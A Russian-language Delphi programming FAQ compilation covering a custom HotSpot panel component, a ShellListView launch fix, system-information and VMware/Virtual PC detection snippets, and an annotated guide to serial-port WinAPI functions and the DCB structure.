Вот пример HotSpot-компонента, основанного на TPanel (небольшая переделка). Управляя событиями MouseDown и MouseUp можно получить эффект резинового контура.

unit Newpanel;

interface
uses WinTypes, Classes, Controls, StdCtrls, ExtCtrls;

type

  tHotSpotClickEvent = procedure(Sender: tObject;
    Button: tMouseButton;
    Shift: tShiftState) of object;

  TNewPanel = class(tPanel)
  private
    fHotSpotClick: tHotSpotClickEvent;
    fHotSpot: tRect;
    fInHotSpot: Boolean;
    function GetHotSpotTop: Word;
    function GetHotSpotLeft: Word;
    function GetHotSpotWidth: Word;
    function GetHotSpotHeight: Word;
    procedure SetHotSpotTop(Value: Word);
    procedure SetHotSpotLeft(Value: Word);
    procedure SetHotSpotWidth(Value: Word);
    procedure SetHotSpotHeight(Value: Word);
  protected
    procedure Paint; override;
    procedure MouseDown(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
      override;
    procedure MouseUp(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
      override;
  public
    procedure Click; override;
    property HotSpot: tRect read fHotSpot write fHotSpot;
  published
    property hsTop: Word read GetHotSpotTop write SetHotSpotTop;
    property hsLeft: Word read GetHotSpotLeft write SetHotSpotLeft;
    property hsWidth: Word read GetHotSpotWidth write SetHotSpotWidth;
    property hsHeight: Word read GetHotSpotHeight write SetHotSpotHeight;
    property OnHotSpot: tHotSpotClickEvent read fHotSpotClick write
      fHotSpotClick;
  end;

procedure Register;

implementation
uses WinProcs, Graphics;

procedure Register;
begin
  RegisterComponents('Custom', [TNewPanel]);
end;

procedure TNewPanel.MouseDown(Button: tMouseButton;
  Shift: tShiftState;
  X, Y: Integer);
begin
  if PtInRect(fHotSpot, Point(X, Y)) and
    Assigned(fHotSpotClick) then
    fInHotSpot := True;
  inherited MouseDown(Button, Shift, X, Y);
end;

procedure TNewPanel.MouseUp(Button: tMouseButton;
  Shift: tShiftState;
  X, Y: Integer);
begin
  inherited MouseUp(Button, Shift, X, Y);

  if fInHotSpot then
  begin
    if Assigned(fHotSpotClick) then
      fHotSpotClick(Self, Button, Shift);
    fInHotSpot := False;
  end;
end;

procedure TNewPanel.Click;
begin
  if not fInHotSpot then
    inherited Click;
end;

procedure TNewPanel.Paint;
var
  OldStyle: tPenStyle;
begin
  inherited Paint;

  if csDesigning in ComponentState then
  begin
    OldStyle := Canvas.Pen.Style;
    Canvas.Pen.Style := psDash;
    Canvas.Rectangle(HotSpot.Left, HotSpot.Top, HotSpot.Right, HotSpot.Bottom);
    Canvas.Pen.Style := OldStyle;
  end;
end;

procedure TNewPanel.SetHotSpotTop(Value: Word);
begin
  fHotSpot.Bottom := fHotSpot.Bottom + Value - fHotSpot.Top;
  fHotSpot.Top := Value;
  Paint;
end;

procedure TNewPanel.SetHotSpotLeft(Value: Word);
begin
  fHotSpot.Right := fHotSpot.Right + Value - fHotSpot.Left;
  fHotSpot.Left := Value;
  Paint;
end;

procedure TNewPanel.SetHotSpotWidth(Value: Word);
begin
  fHotSpot.Right := fHotSpot.Left + Value;
  Paint;
end;

procedure TNewPanel.SetHotSpotHeight(Value: Word);
begin
  fHotSpot.Bottom := fHotSpot.Top + Value;
  Paint;
end;

function TNewPanel.GetHotSpotTop: Word;
begin
  Result := fHotSpot.Top
end;

function TNewPanel.GetHotSpotLeft: Word;
begin
  Result := fHotSpot.Left;
end;

function TNewPanel.GetHotSpotWidth: Word;
begin
  Result := fHotSpot.Right - fHotSpot.Left;
end;

function TNewPanel.GetHotSpotHeight: Word;
begin
  Result := fHotSpot.Bottom - fHotSpot.Top;
end;

end.

Автор: Robert Wittig

Взято с http://delphiworld.narod.ru


Глюк при запуске приложений через ShellListView

Для правки данного глюка необходимо изменить следующую процедуру в исходном коде данного компонента:

procedure TCustomShellListView.DblClick;
begin
  if FAutoNavigate and (Selected <> nil) then
    with Folders[Selected.Index] do
      if IsFolder then
        SetPathFromID(AbsoluteID)
      else
        ShellExecute(Handle, nil, PChar(PathName), nil,
          PChar(ExtractFilePath(PathName)), 0);
  inherited DblClick;
end;

на вот такую:

procedure TCustomShellListView.DblClick;
begin
  if FAutoNavigate and (Selected <> nil) then
    with Folders[Selected.Index] do
      if IsFolder then
        SetPathFromID(AbsoluteID)
      else
        ShellExecute(Handle, 'open', PChar(PathName), nil,
          PChar(ExtractFilePath(PathName)), SW_SHOW);
  inherited DblClick;
end;

PS: SW_HIDE = 0

Автор: Rouse_
Взято из http://forum.sources.ru


Системные функции и WinAPI

Cодержание раздела:

Работа с железом
· Конфигурация железа (раздел)
· Порты (раздел)
· BIOS (раздел)
· Диски (раздел)
· CD-ROM/CD-R/CD-RW (раздел)
· Процессор, сопроцессор (раздел)
· Питание, завершение работы (раздел)
· Видеокарта, Монитор (раздел)
· Модем (раздел)
· Мышка/клавиатура (раздел)
· Различные другие железяки... (раздел)

Windows
· Как получить версию Windows? (раздел)
· Системная дата и время (раздел)
· Системные папки, имя компьютера (раздел)
· Имя компьютера (раздел)
· Пользователи, пароли, защита информации (раздел)
· Команды Windows (раздел)
· Ярлыки, файловые ассоциации, расширения (раздел)
· System tray (раздел)
· Taskbar, кнопка Пуск, Системное меню (раздел)
· Рабочий стол (раздел)
· Панель управления (раздел)
· Буффер обмена (раздел)
· Шрифты, языки, кодировки, регионарные стандарты (раздел)
· Работа с DLL (раздел)
· Взаимодействие с Win16 кодом (раздел)
· Программирование без VCL, работа с WinAPI (раздел)
· Процессы, потоки, память, задачи (раздел)
· Работа с чужими процессами (раздел)
· Запуск и завершение приложений (раздел)
· Работа с ресурсами (раздел)
· Консольные приложения (раздел)
· Переменные окружения (раздел)
· Hooks (раздел)
· Сервисы NT (раздел)
· Звук (раздел)
· Реестр и INI файлы (раздел)
· Сообщения Windows (раздел)
· Курсоры (раздел)
· Иконки (раздел)
· Хранитель экрана (раздел)
· Работа с Explorer'ом (Проводником) (раздел)

Delphi и Windows API (Статья) New!
Расширения оболочки Windows New!
Получение уведомлений от оболочки (Shell) New!


Работа с железом

Cодержание раздела:

Конфигурация железа
· Как узнать конфигурацию железа?
· Получение имени конфигурации HardWare profile

Порты
· Что такое порт?, правила для работы с портами
· Как читать/писать в I/O порты?
· Как прочитать байт из параллельного порта?
· Как узнать адрес LPT-порта?
· Как программно установить конфигурацию COM-порта в Windows 95?
· Как узнать имена установленных в системе COM-портов?
· Как узнать, есть ли в приёмном буфере RS232 данные?
· Компонент для последовательного устройства (TRS232)
· Печать Dos-файла в порт напрямую
· Как найти список параллельных портов?
· Посылать и считывать данные с COM порта, а также менять параметры (биты данных, четность)
· Пример программирования com портов
· Работа с последовательными портами
· Работа с сотовыми телефонами

BIOS
· Как узнать номер BIOS для разных виндов?
· Как получить дату BIOS?
· Как получить информацию о BIOS в Windows 9x?
· Как получить информацию о BIOS в Windows NT/2000/XP?
· Разбудить компьютер по сети, Использование Bios Wake-on-Lan
· Получить информацию о BIOSе

Диски
· Как получить инфу о жестком диске?
· Как форматировать диск?
· Как узнать, находится ли дискета в дисководе? Updated!
· Как сделать виртуальный диск?
· Можно ли удалять из списка TDriveComboBox диски которые отключены?
· Прочитать boot сектор
· Управление метками томов дисков New!

CD-ROM/CD-R/CD-RW
· Блокировка/Разблокировка CD-ROM
· Есть ли CD-ROM?
· Как узнать букву CD-ROM?
· Как записать CDR/CDRW?
· Как выдвинуть дверцу CD-ROM?
· Как загрузить иконку CD-ROM?
· Как узнать серийный номер аудио CD?
· Как узнать есть ли в заданном CD-ROM'е Audio CD?
· Как получить информацию о дорожке аудио-CD?
· CD Remember

Процессор, сопроцессор
· Как найти скорость процессора?
· Как получить информацию о процессоре?
· Количество активных потоков и загруженность процессора
· Поддерживает ли процессор технологию 3DNow
· Как узнать загрузку процессора? (NT/2000/XP)
· Как определить наличие сопроцессора?
· Получение количества установленных процессоров
· Получение уровня процессора
· Работа с портами микропроцессора

Питание, завершение работы
· Как выключить компьютер с любой версией Windows?
· Как заблокировать компьютер?
· Как программно вазвать окно Завершение работы Windows?
· Как завершить сеанс работы или перезагрузить Windows NT?
· Как выключить, перезагрузить или завершить Windows?
· Как перевести монитор в режим stand-by?
· Компонент PowerControl
· Выключение питания ATX коpпуса из-под DOS
· Включение и выключение устройств ввода/вывода

Видеокарта, Монитор
· Как узнать разрешение экрана?
· Как установить разрешение экрана?
· Получаем и устанавливаем различные режимы видео адаптера?
· Как отследить изменения дисплея?
· Как определить видеокарту?
· Настройка монитора
· Как узнать количество цветов в системной палитре?

Модем
· Как прочитать байт из параллельного порта?
· Как прочитать из модема?
· Функция набора номера модемом
· Как получить список установленных модемов в Win95/98?
· Using Tapi
· АТ команды модема
· S-регистры модема
· Набор dialup соединения по умолчанию

Мышка/клавиатура
· Клавиатура (раздел)
· Мышка (раздел)
· Hook на клавиатуру и мышку
· Програмное выключение клавиатуры и мыши Updated!

Различные другие железяки...

См. также другие разделы:
Печать, работа с принтером


Конфигурация железа

Cодержание раздела:

Как узнать конфигурацию железа?
Получение имени конфигурации HardWare profile
Как получить информацию о системе? New!
Узнать не запущено ли приложение под Virtual PC? New!
Узнать не запущено ли приложение под VMware? New!

См. также статьи в других разделах:
Как получить инфу о жестком диске?
Как узнать имена установленных в системе COM-портов?
Как найти список параллельных портов?
Как узнать номер BIOS для разных виндов?
Как получить дату BIOS?
Как получить информацию о BIOS в Windows 9x?
Как получить информацию о BIOS в Windows NT/2000/XP?
Получить информацию о BIOSе
Есть ли CD-ROM?
Как узнать букву CD-ROM?
Как узнать есть ли в заданном CD-ROM'е Audio CD?
Как найти скорость процессора?
Как получить информацию о процессоре?
Поддерживает ли процессор технологию 3DNow
Как определить наличие сопроцессора?
Получение количества установленных процессоров
Получение уровня процессора
Как определить видеокарту?
Как получить список установленных модемов в Win95/98?
Получение типа клавиатуры
Как узнать, присутствует ли мышка?
Как определить установлена ли звуковая карта?
Как прочитать/установить принтер по умолчанию?


Как узнать конфигурацию железа?

Вот компонент для этого нашел:

http://delphi.mastak.ru/cgi-bin/download.pl?get=1020812496&n=0

описание от авторов:

File: msi.zip
Product: MiTeC System Information Component
Version: 6.2
Author: MichaL MutL
E-Mail: michal.mutl@atlas.cz
Target: Delphi 5.x, Delphi 6.x
Platform: W95, W98, NT, W2000, Windows ME, Windows XP
Status: Fully Functional
Source: Included
Description: Component providing detailed system information
+ Registered organization, owner
+ Time Zone info
+ Machine name, IP address, MAC Address
+ Last boot date and time, Boot time
+ CPU architecture, type, active mask, count, level, revision, vendor, id, speed,
+ OS version, build number, platform, CSD version, version name, user name, serial number
+ DVD Region, folders
+ Graphic adapter chip name, dac, memory, screen width and height, color depth, modes
+ Sound card name, WaveIn, WaveOut, MIDIIn, MIDIOut, AUX, Mixer device name
+ Printers
+ Memory info, allocation granularity, min.and max.application address
+ Disk info, file system, controllers
+ BIOS name, copyright, extended info, date
+ Video BIOS version and date
+ Network adapter, protocols, sevices, clients,
+ Winsock info
+ BDE, ODBC, DAO, ADO version
+ DirectX info
+ Device overview (like Device Manager)
+ Win9x resources
+ Running process enumeration
+ Installed software enumeration
+ Startup runs enumeration
+ Performance Library interface (NT & 9x)
+ Internet settings
+ Sharepoints enumeration
+ Component showing CPU usage
Взято с Vingrad.ru http://forum.vingrad.ru

Почти все о железе можно прочитать из регистра по HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\

Автор ответа: Diamond cat
Взято с Vingrad.ru http://forum.vingrad.ru


Получение имени конфигурации HardWare profile

function GettingHWProfileName: string;  //Win95OSR2 or later and NT4.0 or later
var
  pInfo:  tagHW_PROFILE_INFOA;
begin
  GetCurrentHwProfile(pInfo);
  Result:=pInfo.szHwProfileName;
end;


Как получить информацию о системе?

{
  The SYSTEM_INFO structure contains information about the current computer
  system. This includes the architecture and type of the processor, the number of
  processors in the system, the page size, and other such information.
}

procedure TForm1.Button1Click(Sender: TObject);
var
  SysInfo: TSystemInfo;
begin
  GetSystemInfo(SysInfo);
  with ListBox1.Items, SysInfo do
  begin
    Add('ProcessorArchitecture:' + IntToStr(wProcessorArchitecture));
    Add(FloatToStr(dwPageSize) + ' Kb page size');
    Add(Format('Lowest memory address accessible to applications and DLL - %p',
      [lpMinimumApplicationAddress]));
    Add(Format('Highest memory address accessible to applications and DLL - %p',
      [lpMaximumApplicationAddress]));
    Add('OEMID:' + IntToStr(dwOemId));
    Add('ActiveProcessorMask:' + IntToStr(dwActiveProcessorMask));
    Add(IntToStr(dwNumberOfProcessors) + ' - number of processors');
    Add('ProcessorType:' + IntToStr(dwProcessorType));
    case wProcessorLevel of
      3: Add('Intel 80386 processor level');
      4: Add('Intel 80486 processor level');
      5: Add('Intel Pentium processor level');
    end;
    Add(FloatToStr(dwAllocationGranularity / 1024) +
      ' Kb - granularity with which virtual memory is allocated');
    Add('ProcessorRevision:' + IntToStr(wProcessorRevision));
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Узнать не запущено ли приложение под Virtual PC?

{
  This function can be used to determine whether your program is
  running from within Connectrix's Virtual PC
}

function running_inside_vpc: boolean; assembler;
asm
  push ebp

  mov  ecx, offset @@exception_handler
  mov  ebp, esp

  push ebx
  push ecx
  push dword ptr fs:[0]
  mov  dword ptr fs:[0], esp

  mov  ebx, 0 // flag
  mov  eax, 1 // VPC function number

  // call VPC
  db 00Fh, 03Fh, 007h, 00Bh

  mov eax, dword ptr ss:[esp]
  mov dword ptr fs:[0], eax
  add esp, 8

  test ebx, ebx
  setz al
  lea esp, dword ptr ss:[ebp-4]
  mov ebx, dword ptr ss:[esp]
  mov ebp, dword ptr ss:[esp+4]
  add esp, 8
  jmp @@ret
  @@exception_handler:
  mov ecx, [esp+0Ch]
  mov dword ptr [ecx+0A4h], -1 // EBX = -1 -> not running, ebx = 0 -> running
  add dword ptr [ecx+0B8h], 4 // -> skip past the detection code
  xor eax, eax // exception is handled
  ret
  @@ret:
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Узнать не запущено ли приложение под VMware?

////////////////////////////////////////////////////////////////////////////////
//
//  Simple VMware check on i386
//
//    Note: There are plenty ways to detect VMware. This short version bases
//    on the fact that VMware intercepts IN instructions to port 0x5658 with
//    an magic value of 0x564D5868 in EAX. However, this is *NOT* officially
//    documented (used by VMware tools to communicate with the host via VM).
//
//    Because this might change in future versions - you should look out for
//    additional checks (e.g. hardware device IDs, BIOS informations, etc.).
//    Newer VMware BIOS has valid SMBIOS informations (you might use my BIOS
//    Helper unit to dump the ROM-BIOS (http://www.bendlins.de/nico/delphi).
//

function IsVMwarePresent(): LongBool; stdcall;  // platform;
begin
  Result := False;
 {$IFDEF CPU386}
  try
    asm
            mov     eax, 564D5868h
            mov     ebx, 00000000h
            mov     ecx, 0000000Ah
            mov     edx, 00005658h
            in      eax, dx
            cmp     ebx, 564D5868h
            jne     @@exit
            mov     Result, True
    @@exit:
    end;
  except
    Result := False;
  end;
{$ENDIF}
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Порты

Cодержание раздела:

Что такое порт?, правила для работы с портами
Как читать/писать в I/O порты?
Как прочитать байт из параллельного порта?
Как узнать адрес LPT-порта?
Как программно установить конфигурацию COM-порта в Windows 95?
Как узнать имена установленных в системе COM-портов?
Как узнать, есть ли в приёмном буфере RS232 данные?
Компонент для последовательного устройства (TRS232)
Печать Dos-файла в порт напрямую
Как найти список параллельных портов?
Посылать и считывать данные с COM порта, а также менять параметры (биты данных, четность)
Пример программирования com портов
Работа с последовательными портами
Работа с сотовыми телефонами
Write/read a string to/from the serial port New!
Detect if a USB device is connected or disconnected? New!

См. также другие разделы:
Печать
Модем

См. также статьи в других разделах:
Работа с портами микропроцессора
Как прочитать название порта принтера?
Как изменить порт для принтера?


Что такое порт? Правила для работы с портами

Взято из FAQ:http://blackman.km.ru/myfaq/cont4.phtml
Автор Дмитрий Кузан, mailto:kuzan@fsskomi.parma.ru Известно что в компьютере очень много собрано различных устройств , возникает вопрос как операционная система общается с ними. Для этого и служит порт, то есть эта «дверь» через которую программа (операционная система) может управлять данным устройством (считывать данные, заносить их).Причем я разделяю порты на две категории (это чисто мое разделение) - порты общеизвестные (COM LPT) и порты внутренние ,служащие для связи с внутренними устройствами ЭВМ. 2.Некоторые правила для работы с портами Следует иметь в виду что при разработке программ имеющих дело
работы с портами следует учитывать следующие факторы :
а) Стараться использовать функции высокого уровня для доступа к портам (в частности WinAPI) и не прибегать к низкоуровневым операциям чтения/записи портов. Если вы все-таки решили писать низкоуровневое чтение то эти процедуры нужно выносить в отдельную DLL или VXD, по следующим причинам - известно, что операционная система Windows95/98 а особенно NT являются по своей сути многозадачными системами. То есть если ваша программа обращается конкретно к порту не через динамический вызов функции DLL или VXD ( использования механизма DLL) а напрямую то это может сказаться на корректной работе системы или даже завалить ее. И даже если в Windows95/98 такой подход вполне может работать то в Windows NT вследствие его архитектуры не разрешит непосредственное чтение/запись напрямую, а использование механизма DLL или VXD позволяет обойти эту проблему.
б)Если вы работаете с каким-то нестандартным портом ввода-вывода
(например портом хранящим состояние кнопок пульта ДУ TVTunera то наверняка в комплекте поставки родного софта найдется DLL или VXD для управления этим устройством и отпадет нужда писать код, так я при работе с пультом ДУ TVTunerа использую стандартную DLL поставляемую в комплекте, это сразу решило вопросы связанные с управлением портами данного тюнера)Итак, отступление — немного практики…
Маленький пример для работы с портами
(первый пример был уже опубликован в королевстве Дельфи
и представлял собой пример работы с весами ПетрВес)

function PortInit : boolean; //инициализация
var f: THandle;
    ct: TCommTimeouts;
    dcb: TDCB;
begin
f := Windows.CreateFile(PChar('COM1'), GENERIC_READ or
GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (f < 0) or not Windows.SetupComm(f, 2048, 2048)or not
Windows.GetCommState(f, dcb) then exit; //init error dcb.BaudRate := скоpость;
dcb.StopBits := стоп-биты;
dcb.Parity := ?етность;
dcb.ByteSize := 8;
if not Windows.SetCommState(f, dcb) or
   not Windows.GetCommTimeouts(f, ct) then exit; //error
ct.ReadTotalTimeoutConstant := 50;
ct.ReadIntervalTimeout := 50;
ct.ReadTotalTimeoutMultiplier := 1;
ct.WriteTotalTimeoutMultiplier := 0;
ct.WriteTotalTimeoutConstant := 10;
if not Windows.SetCommTimeouts(f, ct)
   or not Windows.SetCommMask(f, EV_RING + EV_RXCHAR + EV_RXFLAG + EV_TXEMPTY)
  then exit; //error
result := true;
end;

function DoneComm: boolean; //закpыть поpт
begin
  result := Windows.CloseHandle(f);
end;

function PostComm(var Buf; size: word): integer; //пеpеда?а в поpт
  var p: pointer; i: integer;
begin
p := @Buf;
result := 0;
while size > 0 do
begin
  if not WriteFile(f, p^, 1, i, nil) then exit;
  inc(result, i); inc(integer(p)); dec(size);
  Application.ProcessMessages;
end;
end;

function ReadComm(var Buf; size: word): integer; //пpием из поpта
  var i: integer; ovr: TOverlapped;
begin
  fillChar(buf, size, 0);
  fillChar(ovr, sizeOf(ovr), 0); i := 0; result := -1;
  if not windows.ReadFile(f, buf, size, i, @ovr) then exit;
  result := i;
end;

Данный пример был взят мной из многочисленный FAQ посвященных в DELPHI в сети ФИДО
Итак,для работы с портами COM и LPT нам понадобится знание функций Windows API. Вот подробное описание функций, которые нам нужны (в эквиваленте C) для работы с портами.
(извините за возможный местами неточный перевод ,если что поправьте меня если что не так перевел)

CreateFile HANDLE CreateFile( LPCTSTR lpFileName,// указатель на строку PCHAR с именем файла
DWORD dwDesiredAccess,// режим доступа
DWORD dwShareMode,// share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes,// указатель на атрибуты
DWORD dwCreationDistribution,// how to create
DWORD dwFlagsAndAttributes,// атрибуты файла
HANDLE hTemplateFile // хендл на temp файл
); Пример кода на Дельфи
< вырезано>
CommPort := 'COM2';
hCommFile := CreateFile(Pchar(CommPort),
GENERIC_WRITE, 0, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
0);

< вырезано>
Параметры
LpFileName
Указатель на строку с нулевым символом в конце (PCHAR) ,
которая определяет название создаваемого объекта (файл,
канал, почтовый слот, ресурс связи (в данном случае порты),
дисковое устройство, приставка, или каталог)
DwDesiredAccess
Указывает тип доступа к объекту ,принимает значение
GENERIC_READ - для чтения
GENERIC_WRITE - для записи (смешивание с GENERIC_READ
операцией GENERIC_READ and GENERIC_WRITE предостовляет полный доступ )
dwShareMode
Набор разрядных флагов, которые определяют как объект может быть разделен по доступу к нему.
Если dwShareMode - 0, объект не может быть разделен.
Последовательные операции открытия объекта будут терпеть неудачу,
пока маркер(дескриптор) открытого объекта не будет закрыт.
Фактически предоставляется монопольный доступ. Чтобы разделять объект(цель), используйте комбинацию одних или большее количество следующих значений:
FILE_SHARE_DELETE (Только для Windows NT)
FILE_SHARE_READ
FILE_SHARE_WRITE
LpSecurityAttributes
Указатель на структуру SECURITY_ATTRIBUTES, которая определяет
может ли возвращенный дескриптор быть унаследован дочерними процессами.
Если lpSecurityAttributes НУЛЕВОЙ, маркер не может быть унаследован.
Используется только в windows NT.
dwCreationDistribution
Определяет поведение функции если объект уже существует и
как он будет открыт в этом случае Принимает одно из следующих значений :
CREATE_NEW
Создает новый объект (файл) Выдает ошибку если указанный объект (файл) уже существует.
CREATE_ALWAYS
Создает новый объект (файл) Функция перезаписывает существующий объект (файл)
OPEN_EXISTING
Открывает объект (файл) Выдает ошибку если указанный объект (файл) не существует.(Для более детального смотрите SDK)
OPEN_ALWAYS
Открывает объект (файл), если он существует. Если объект (файл) не существует,
функция создает его, как будто dwCreationDistribution были CREATE_NEW.
TRUNCATE_EXISTING
Открывает объект (файл). После этого объект (файл) будет
усечен до нулевого размера.Выдает ошибку если указанный объект (файл) не существует.
DwFlagsAndAttributes
Атрибуты объекта (файла) , атрибуты могут комбинироваться
FILE_ATTRIBUTE_ARCHIVE
FILE_ATTRIBUTE_COMPRESSED
FILE_ATTRIBUTE_HIDDEN
FILE_ATTRIBUTE_NORMAL
FILE_ATTRIBUTE_OFFLINE
FILE_ATTRIBUTE_READONLY
FILE_ATTRIBUTE_SYSTEM
FILE_ATTRIBUTE_TEMPORARY
HTemplateFile
Определяет дескриптор с GENERIC_READ доступом к временному объекту(файлу).
Временный объект(файл)поставляет атрибуты файла и расширенные атрибуты
для создаваемого объекта (файла)
ИСПОЛЬЗУЕТСЯ ТОЛЬКО В WINDOWS NT Windows 95: Это значение должно быть установлено в Nil.
Возвращаемые значения Если функция преуспевает, возвращаемое значение - открытый дескриптор
к указанному объекту(файлу). Если файл не существует - 0.
Если произошли функциональные сбои, возвращаемое значение - INVALID_HANDLE_VALUE.
Чтобы получить расширенные данные об ошибках, вызовите GetLastError. Обратите внимание !
Для портов, dwCreationDistribution параметр должен быть OPEN_EXISTING,
и hTemplate должен быть Nil. Доступ для чтения-записи должен быть определен явно. SECURITY_ATTRIBUTES Структура содержит описание защиты для объекта и определяет,
может ли дескриптор быть унаследован дочерними процессами.
typedef struct _SECURITY_ATTRIBUTES
{ DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES; Параметры NLength
Определяет размер, в байтах, этой структуры.
Набор это значение к размеру структуры SECURITY_ATTRIBUTES В Windows NT
функции которые используют структуру SECURITY_ATTRIBUTES, не
LpSecurityDescriptor
Дескриптор указывающий на описатель защиты для объекта,
Если дескриптор ПУСТОЙ объект может быть назначен в наследование дочерними процессами.
BInheritHandle
Определяет, унаследован ли возвращенный дескриптор, когда новый дескриптор, создан.
Если это значение принимает ИСТИНУ новый дескриптор наследует от головного.
Замечания
Указатель на структуру SECURITY_ATTRIBUTES используется
как параметр в большинстве функций работы с окнами в Win32 API.
---------------------
Структура DCB Структура DCB определяет установку управления для последовательного порта ввода-вывода
(нам она понадобится для разбора примера с программой управления весами ПетрВес) Примечание : В местах где нельзя дать точный перевод
будет дано определение на английском из MSDK и приблизительный его перевод
Описание в эквиваленте C typedef struct _DCB { // dcb
DWORD DCBlength; // Размер DCB
DWORD BaudRate; // Скорость пересылки данных в бодах;
// текущая скорость в бодах
DWORD fBinary: 1; // binary mode, no EOF check
// двоичный режим , не проверять конец
// данных (по умолчанию значение = 1)
DWORD fParity: 1; // Включить проверку четность (по умолчанию
// значение = 1)
DWORD fOutxCtsFlow:1; // CTS управление потоком выхода
DWORD fOutxDsrFlow:1; // DSR управление потоком выхода
DWORD fDtrControl:2; // DTR Тип управления потоком скорости
// передачи данных
DWORD fDsrSensitivity:1; // DSR sensitivity (чувствительность)
DWORD fTXContinueOnXoff:1; // XOFF continues Tx (стоп-сигнал
// продалжает выполнение)
DWORD fOutX: 1; // XON/XOFF out flow control (СТАРТ-
// СИГНАЛ / СТОП-СИГНАЛ для управления
// выходящим потоком (по умолчанию
// значение = 1)
DWORD fInX: 1; // XON/XOFF in flow control (СТАРТ-
// СИГНАЛ / СТОП-СИГНАЛ для управления
// входящим потоком (по умолчанию
// значение = 1)
DWORD fErrorChar: 1; // enable error replacement (включить
// проверку погрешностей по умолчанию=1)
DWORD fNull: 1; // enable null stripping (отвергать
// пустой поток данных (по умолчанию=1))
DWORD fRtsControl:2; // RTS управление потоком данных
DWORD fAbortOnError:1; // abort reads/writes on error
// (проверять операции чтения/записи
// по умолчанию=1)
DWORD fDummy2:17; // reserved ЗАРЕЗЕРВИРОВАНО
WORD wReserved; // not currently used НЕ ДЛЯ
// ИСПОЛЬЗОВАНИЯ
WORD XonLim; // transmit XON threshold (порог
// чувствительности старт-сигнала)
WORD XoffLim; // transmit XOFF threshold (порог
// чувствительности стоп-сигнала)
BYTE ByteSize; // Бит в байте (обычно 8)
BYTE Parity; // 0-4=no,odd,even,mark,space
// (четность байта)
BYTE StopBits; // 0,1,2 = 1, 1.5, 2 (стоповые биты)
char XonChar; // Tx and Rx XON character (вид
// старт сигнал в потоке)
char XoffChar; // Tx and Rx XOFF character (вид
// стоп сигнал в потоке)
char ErrorChar; // error replacement character (какой
// сигнал погрешности,его вид)
char EofChar; // end of input character (сигнал
// окончания потока)
char EvtChar; // received event character РЕЗЕРВ
WORD wReserved1; // reserved; do not use НЕ ДЛЯ
// ИСПОЛЬЗОВАНИЯ
} DCB;

with Mode do
Begin
BaudRate := 9600;
ByteSize := 8;
Parity := NOPARITY;
StopBits := ONESTOPBIT; // одино?ный стоп-бит
Flags := EV_RXCHAR + EV_EVENT2;
End;

Параметры : DCBlength
Размер DCB структуры.
BaudRate
Определяет скорость в бодах, в которых порт оперирует.
Этот параметр может принимать фактическое значение скорости в бодах,
или один из следующих стандартных индексов скорости в бодах:
CBR_110 CBR_19200
CBR_300 CBR_38400
CBR_600 CBR_56000
CBR_1200CBR_57600
CBR_2400CBR_115200
CBR_4800CBR_128000
CBR_9600CBR_256000
CBR_14400 fBinary
Определяет, допускается ли двоичный (бинарный) способ передачи данных.
Win32 API не поддерживает недвоичные (небинарные)
способы передачи данных в потоке порта, так что этот параметр
должен быть всегда ИСТИНЕН.
Попытка использовать ЛОЖЬ в этом параметре не будет работать.
Примечание : Под Windows 3.1 небинарный способ передачи допускается,
но для работы данного способа необходимо заполнит параметр
EofChar который будет восприниматься конец данных.
fParity
Определяет, допускается ли проверка четности.
Если этот параметр ИСТИНЕН, проверка четности допускается
fOutxCtsFlow
CTS (clear-to-send) управление потоком выхода
fOutxDsrFlow
DSR (data-set-ready) управление потоком выхода
fDtrControl
DTR (data-terminal-ready) управление потоком выхода
Принимает следующие значения :
DTR_CONTROL_DISABLE
Отключает линию передачи дынных
DTR_CONTROL_ENABLE
Включает линию передачи дынных
DTR_CONTROL_HANDSHAKE
Enables DTR handshaking. If handshaking is enabled,
it is an error for the application to adjust the line by using the EscapeCommFunction function.
Допускает подтверждению связи передачи данных
Если подтверждение связи допускается, это - погрешность для того чтобы регулировать(корректировать)
линию связи, используя функцию EscapeCommFunction.
fDsrSensitivity
Specifies whether the communications driver is sensitive to the state of the DSR signal.
If this member is TRUE, the driver ignores any bytes received, unless the DSR modem input line is high.
Определяет возможна ли по порту двухсторонняя передача в ту и в другую сторону сигнала.
fTXContinueOnXoff
Определяет, останавливается ли передача потока ,
когда входной буфер становится полный, и драйвер передает сигнал XoffChar.
Если этот параметр ИСТИНЕН, передача продолжается после того,
как входной буфер становится в пределах XoffLim байтов, и драйвер передает
сигнал XoffChar, чтобы прекратить прием байтов из потока .
Если этот параметр ЛОЖНЫЙ, передача не продолжается до тех пор ,
пока входной буфер не в пределах XonLim байтов,
и пока не получен сигнал XonChar, для возобновления приема .
fOutX
Определяет, используется ли управление потоком СТАРТ-СИГНАЛА / СТОП-СИГНАЛА
в течение передачи потока порту. Если этот параметр ИСТИНЕН, передача останавливается,
когда получен сигнал XoffChar и начинается снова, когда получен сигнал XonChar.
fInX
Specifies whether XON/XOFF flow control is used during reception. If this member is TRUE,
the XoffChar character is sent when the input buffer comes
within XoffLim bytes of being full, and the XonChar character is sent
when the input buffer comes within XonLim bytes of being empty.
Определяет, используется ли управление потоком СТАРТ-СИГНАЛА / СТОП-СИГНАЛА
в течение приема потока портом. Если этот параметр ИСТИНЕН,сигнал XoffChar посылается ,
когда входной буфер находится в пределах XoffLim байтов, а сигнал XonChar посылается
тогда когда входной буфер находится в пределах XonLim байтов или является пустым
fErrorChar
Определяет, заменены ли байты, полученные с ошибками четности особенностью,
указанной параметром ErrorChar Если этот параметр ИСТИНЕН, и fParity ИСТИНЕН, замена происходит.
fNull
Определяет, отвергнуты ли нулевые(пустые) байты. Если этот параметр ИСТИНЕН,
нулевые(пустые) байты, будут отвергнуты при получении их.
fRtsControl
RTS управление потоком " запрос пересылки " .
Если это значение нулевое, то по умолчанию устанавливается RTS_CONTROL_HANDSHAKE.
Принимает одно из следующих значений:
RTS_CONTROL_DISABLE
Отключает строку RTS, когда устройство открыто
